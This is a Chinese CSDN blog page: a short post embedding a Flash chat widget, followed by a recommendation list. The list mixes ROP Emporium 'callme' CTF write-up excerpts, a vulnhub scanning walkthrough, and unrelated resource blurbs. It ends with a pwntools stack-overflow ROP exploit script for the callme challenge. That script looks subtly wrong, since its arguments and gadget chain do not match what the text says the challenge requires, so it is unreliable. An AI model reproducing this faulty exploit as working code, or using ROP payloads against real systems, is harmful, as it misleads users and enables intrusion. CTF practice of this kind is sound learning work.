call me

最新推荐文章于 2025-05-03 09:05:42 发布
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#Flex #Flash

本文介绍了一个在线聊天使用的Flash插件，用户只需点击页面上的空白区域即可开始使用该插件进行聊天互动。
点击上面空白处 就可以和我聊天了:[flash=200,200]http://www.flextheworld.com/callme/Index.swf[/flash]
iteye_14831
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[vulnhub] callme
qq_43756450的博客
02-28 1261
[vulnhub]: callme Time: 2021-2-11 Author: badbird Target: 192.168.31.96 Attack: 192.168.31.100 先使用arp-scan来一波主机发现，因为这个比nmap快很多，发现了目标再用nmap扫描单个IP就好。 arp-scan --interface=eth0 --localnet nmap -sS -sV -T5 -A 192.168.31.96 (真的是太慢了，不知道有没有啥好的加速参数) 可以看到，开放了22
【rop emporium 2020】callme
^_^
02-06 633
这篇博客主要是关于rop emporium（2020年7月的版本）的ret2win这道题的学习记录 因为网上都是比较早版本的题解，所以写了这篇博客，不过这道题倒是变化不大。 题目链接：https://ropemporium.com/challenge/callme.html 备注：以下题目都是在ubuntu16.04下完成 32位 这道题主要考逆向。 程序有个栈溢出漏洞，要利用这个漏洞按顺序执行call_one、call_two、call_three这三个函数。同时，这三个函数的参数可以从.so文件逆向.
ROP Emporium-callme
网安星空
01-06 652
ROP Emporium网站CTF相关PWN靶场callme，主要是PWN栈溢出中ROP技巧的练习
ROP_Emporium_callme
Starr
03-24 1328
文章目录1. split32信息收集黑盒测试反汇编调试分析Exp2. split参考文章 1. split32 信息收集 这个题提供了以下文件： callme32可执行程序 libcallme32.so动态库 key1.dat，key2.dat encrypted_flag.dat 不知道callme32格式那里不对，checksec会报错NameError: name 'dt_rpath' is not defined。一会黑盒测试如果崩溃了就说明有canary，而pie可以从入口点判断： $ rea
高级栈溢出技术—ROP实战（callme）
ChuMeng1999的博客
01-08 899
目录预备知识关于ROP本系列rop实战题目的背景callme涉及知识点实验目的实验环境实验步骤一实验步骤二实验步骤三 预备知识 关于ROP ROP的全称为Return-oriented programming（返回导向编程），这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御（比如内存不可执行和代码签名等）。 ROP是一种攻击技术，其中攻击者使用堆栈的控制来在现有程序代码中的子程序中的返回指令之前，立即间接地执行精心挑选的指令或机器指令组。 本系列rop实战题目的背景 来自ROPEmporiu
rop emporium call me （x64）
u014377094的博客
02-10 1486
这道题惊喜点在于.so文件也可以拖到ida里逆向，服！ 下面是题解过程： 左边发现奇怪的callme-one，two，three. 但是人家动态链接了，不知道内容是什么就无法利用，使用ida，把so文件拽里面 告诉我们，按这个参数就correctly了。 下面反倒过程平平无奇了 使用ROPgadget 找到三个参数的pop rdi rsi rdx ret 注意：当参数少于7个时， 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。用栈时右到左，但6.
CTF-PWN-callme32 [ROP+栈溢出]
SuperGate的博客
08-13 1095
首先发现在pwnme函数中有一个明显的缓冲区溢出，长度为40，经调试发现填入44长度的垃圾信息即可填入shellcode ida发现一个重要函数如下： 点入后发现这三个函数为系统级调用。正好题目给了我们一个.so文件。进入查看，发现有这三个函数的反编译。依次是将加密后的flag通过key1,key2解密。调用顺序应该是callme_one -> callme_two -> c...
【Call Me Maybe】MMD镜头+动作打包下载.zip
布洛尼亚
01-25 4903
资源说明： 包括配套的动作数据、两个镜头数据，还有配音，可以直接导入使用了呢 下载地址：https://go.ysboke.cn/archives/541
call-me：实现浏览器端即时一对一视频通话
gitblog_00653的博客
05-03 1130
call-me：实现浏览器端即时一对一视频通话 项目介绍 在当前快节奏的数字化时代，即时通讯工具已经成为工作和生活中不可或缺的部分。call-me 项目正是一款基于现代Web技术的一对一视频通话解决方案。它采用 WebRTC 技术，让用户能够直接在浏览器中轻松实现视频通讯，无需下载或安装任何额外的软件。 项目技术分析 call-me 项目基于 Node.js 和 WebRTC 技术构建。WebRT...
IP-CallMe-开源
04-27
【IP-CallMe-开源】是一个独特的命令行消息传递应用程序，专为那些希望在服务器端执行预定义命令的用户设计。这个工具的核心功能是通过网络连接实现脚本和宏的远程操控，使得程序员和系统管理员可以更加高效地管理和...
callme-al.github.io
04-08
【callme-al.github.io】是一个基于GitHub Pages的个人博客网站，通常用于分享技术知识、个人经验或项目展示。这个网站的构建主要依赖于HTML（超文本标记语言），这是一种用于创建网页的标准标记语言，用于描述网页...
吉他谱_Why'd You Only Call Me When You're High - Arctic Monkeys.pdf
09-17
吉他谱《Why'd You Only Call Me When You're High》是由英国摇滚乐队Arctic Monkeys的主唱Alex Turner创作的一首歌曲。这首歌曲收录于乐队2013年的第四张录音室专辑《AM》中，因其独特的曲风和歌词内容，成为乐队的...
kandy-callMe-js-sdk
04-28
康提CallMe JavaScript SDK 安装 使用npm： $ npm install @kandy-io/callme-sdk 安装一个特定的版本： 要使用Github URL安装特定的build分支或beta分支，请运行： $ npm install ...
【四旋翼飞行器】【模拟悬链机器人的动态】设计和控制由两个四旋翼飞行器推动的缆绳研究（Matlab代码实现）
11-26
【四旋翼飞行器】【模拟悬链机器人的动态】设计和控制由两个四旋翼飞行器推动的缆绳研究（Matlab代码实现）内容概要：本文围绕“设计和控制由两个四旋翼飞行器推动的缆绳系统”展开研究，通过建立动力学模型并利用Matlab进行仿真，模拟类似悬链机器人的动态行为。研究重点在于多无人机协同控制、缆绳张力分析及系统稳定性控制，结合非线性动力学与控制理论，实现对柔性连接负载的精确操控。文中提供了完整的Matlab代码实现，便于复现实验结果，适用于复杂空中作业任务的仿真验证。; 适合人群：具备一定控制理论基础和Matlab编程能力的研究生、科研人员及从事无人机协同控制、机器人系统开发的工程技术人员。; 使用场景及目标：①研究多无人机协同搬运与柔性负载控制；②掌握缆绳系统动力学建模与仿真方法；③应用于空中机器人、工业吊装、救援运输等实际场景的控制系统设计与优化； 阅读建议：建议结合Matlab代码逐模块分析，重点关注动力学建模、控制律设计与仿真结果验证部分，可进一步扩展至更多无人机协同或复杂环境干扰下的鲁棒性研究。
基于遗传算法的梯级水电站群联合火电厂优化调度研究（Python代码实现）
11-26
基于遗传算法的梯级水电站群联合火电厂优化调度研究（Python代码实现）内容概要：本文研究了基于遗传算法的梯级水电站群联合火电厂优化调度问题，旨在通过智能优化方法实现电力系统中水火电资源的协调调度，提升能源利用效率与调度经济性。文中构建了考虑水电站间水力联系、水库库容约束、机组出力特性及火电厂运行成本的综合优化模型，并采用遗传算法进行求解，给出了完整的Python代码实现。该方法能够有效处理复杂的非线性、多约束、多变量调度问题，具备良好的收敛性和实
无人机基于改进粒子群算法的无人机路径规划研究[和遗传算法、粒子群算法进行比较]（Matlab代码实现）
最新发布
11-26
【无人机】基于改进粒子群算法的无人机路径规划研究[和遗传算法、粒子群算法进行比较]（Matlab代码实现）内容概要：本文围绕基于改进粒子群算法的无人机路径规划展开研究，重点探讨了在复杂环境中利用改进粒子群算法（PSO）实现无人机三维路径规划的方法，并将其与遗传算法（GA）、标准粒子群算法等传统优化算法进行对比分析。研究内容涵盖路径规划的多目标优化、避障策略、航路点约束以及算法收敛性和寻优能力的评估，所有实验均通过Matlab代码实现，提供了完整的仿真验证流程。文章还提到了多种智能优化算法在无人机路径规划中的应用比较，突出了改进PSO在收敛速度和全局寻优方面的优势。; 适合人群：具备一定Matlab编程基础和优化算法知识的研究生、科研人员及从事无人机路径规划、智能优化算法研究的相关技术人员。; 使用场景及目标：①用于无人机在复杂地形或动态环境下的三维路径规划仿真研究；②比较不同智能优化算法（如PSO、GA、蚁群算法、RRT等）在路径规划中的性能差异；③为多目标优化问题提供算法选型和改进思路。; 阅读建议：建议读者结合文中提供的Matlab代码进行实践操作，重点关注算法的参数设置、适应度函数设计及路径约束处理方式，同时可参考文中提到的多种算法对比思路，拓展到其他智能优化算法的研究与改进中。
图像重建使用FDK的三维谢普洛根幻影重建（Matlab代码实现）
11-26
【图像重建】使用FDK的三维谢普洛根幻影重建（Matlab代码实现）内容概要：本文介绍了使用FDK算法在Matlab环境中实现三维谢普洛根幻影（Shepp-Logan phantom）图像重建的技术方法，重点展示了图像重建过程中的关键步骤与代码实现。该资源属于一系列图像处理与医学成像技术研究的一部分，涵盖了从投影数据生成到反投影重建的完整流程，帮助读者理解CT图像重建的基本原理与FDK算法的应用细节。; 适合人群：具备一定Matlab编程基础，从事医学图像处理、计算机断层成像（CT）或相关领域研究的研究生、科研人员及工程技术人员。; 使用场景及目标：①学习和掌握FDK算法在三维图像重建中的具体实现；②理解Shepp-Logan幻影模型在仿真成像中的作用；③为医学图像重建、算法验证与教学演示提供可运行的Matlab代码参考； 阅读建议：建议结合Matlab代码逐行调试，理解投影（正弦图）生成与滤波反投影的每一步操作，同时可延伸学习其他重建算法（如FBP
【大数据搜索技术】Elasticsearch7.8安装部署与集群管理：基于CentOS的分布式搜索引擎配置及性能优化实践
11-26
内容概要：本文详细介绍了Elasticsearch 7.8的安装部署及核心功能应用，涵盖环境准备、解压配置、启动优化、集群搭建、分片管理、健康监控等内容，并结合Kibana和Logstash构建完整的ELK日志分析体系。文章还讲解了中文分词器IK的使用、快照备份与恢复机制，以及如何通过Filebeat采集Nginx等服务的日志数据并进行可视化展示，系统性地呈现了Elasticsearch在实际生产环境中的部署与运维流程。; 适合人群：具备Linux基础和一定运维经验的技术人员，尤其是从事日志分析、搜索系统搭建或中间件维护的开发与运维工程师；适合初学者入门Elasticsearch及相关生态组件。; 使用场景及目标：①掌握Elasticsearch单节点与集群环境的安装与配置；②理解索引、分片、副本等核心概念并应用于实际业务；③构建基于Filebeat+Logstash+ES+Kibana的日志采集与分析链路；④实现数据的备份恢复与中文检索功能； 阅读建议：建议按照文档顺序逐步操作，重点关注配置参数调优与常见错误处理（如权限、虚拟内存限制），动手实践集群部署与日志采集流程，结合Kibana进行数据验证与可视化分析，加深对ELK生态协同工作的理解。
commonapi-dbus-demo
11-26
commonapi-dbus-demo
pwn callme
01-27
### PWN Callme 挑战解题思路 #### 背景介绍 在CTF竞赛中，`callme`系列挑战通常涉及栈溢出漏洞利用以及返回导向编程（ROP）。这类题目旨在测试参赛者对于二进制漏洞挖掘和利用的理解程度。 #### 题目分析 给定`.so`库文件内含有三个特定函数：`callme_one`, `callme_two` 和 `callme_three`。这些函数负责执行一系列操作来处理加密后的标志位(flag)，并最终显示出来[^2]。为了成功触发这三个函数按正确顺序调用，需要精心构建输入数据以绕过程序的安全机制。 #### 利用方法概述 由于存在栈缓冲区溢出的可能性，可以构造恶意输入覆盖保存的返回地址，从而控制EIP寄存器指向攻击者指定的位置。在此基础上，采用ROP技术链式调用目标函数完成所需动作： 1. **准备环境** - 使用工具如`gdb-peda`调试应用程序。 - 查找可用的小工具(gadgets)用于设置参数传递至各个`callme_*`函数。 2. **编写Exploit脚本** 下面是一个简单的Python脚本来实现上述逻辑: ```python from pwn import * # 设置远程连接或本地运行模式 if args['REMOTE']: io = remote('challenge.ctf.games', PORT_NUMBER) else: elf = ELF('./binary') context.binary = elf io = process(elf.path) # 定义偏移量和其他必要变量 offset = 40 # 这里假设已知具体数值 pop_rdi_ret = 0x000000000040093b # pop rdi; ret; pop_rsi_pop_r15_ret = 0x0000000000400939 # pop rsi; pop r15; ret; # 构建payload payload = b'A' * offset payload += pack(pop_rdi_ret, 64) payload += pack(next(elf.search(b'/bin/sh\x00')), 64) payload += pack(pop_rsi_pop_r15_ret, 64) payload += pack(0, 64) # arg2 for callme functions payload += pack(0, 64) # padding to align stack payload += pack(elf.symbols['callme_one'], 64) payload += pack(elf.symbols['callme_two'], 64) payload += pack(elf.symbols['callme_three'], 64) io.sendlineafter('> ', payload) io.interactive() ``` 此代码片段展示了如何创建一个能够依次调用`callme_one -> callme_two -> callme_three` 的有效载荷(payload)。注意实际比赛中可能还需要调整某些细节才能使exploit正常工作。
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